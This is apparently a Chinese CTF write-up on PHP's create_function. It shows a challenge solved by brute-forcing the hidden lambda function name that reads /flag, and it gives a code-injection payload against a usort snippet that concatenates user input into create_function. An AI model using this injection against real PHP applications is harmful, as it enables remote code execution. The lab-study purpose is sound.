easyphp之create_function

easyphp之create_function

适用范围:PHP 4> = 4.0.1PHP 5PHP 7(从PHP 7.2.0开始,create_function()被废弃)

源码:

1
2
3
4
5
6
7
8
9
 <?php
show_source(__FILE__);
$a = create_function("", "echo(`cat /flag`);");
if(isset($_GET['a'])){
$_GET['a']();
}


?>

这道题只有短短的7行,关键就是create_function。

查阅资料发现①create_function这个函数会内部执行eval()函数,具体执行的是后面的语句。②每次刷新,产生的匿名函数后面的数字都会依次增加。

image-20201220202823062

可以看到,create_function()产生了一个匿名函数,函数名叫%00lambda_1,并且会执行后面的语句。所以,运用到这题上,可以通过对隐藏函数名最后的数字进行“爆破”,不断地刷,刷出来

image-20201221014938964

image-20201221014954830

create_function后记:

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

代码审计

①$sort_by 是我们能控制的地方

②存在create_function()

③$sort_function是create_function的eval部分

④$sort_by在$sort_function里面有拼接

思路:通过$sort_by将$sort_function后面闭合,达到执行我们想要执行的语句v

payload:

1
http://127.0.0.1/test.php/?sort_by=%27%22]);}phpinfo();/*

image-20201221020924784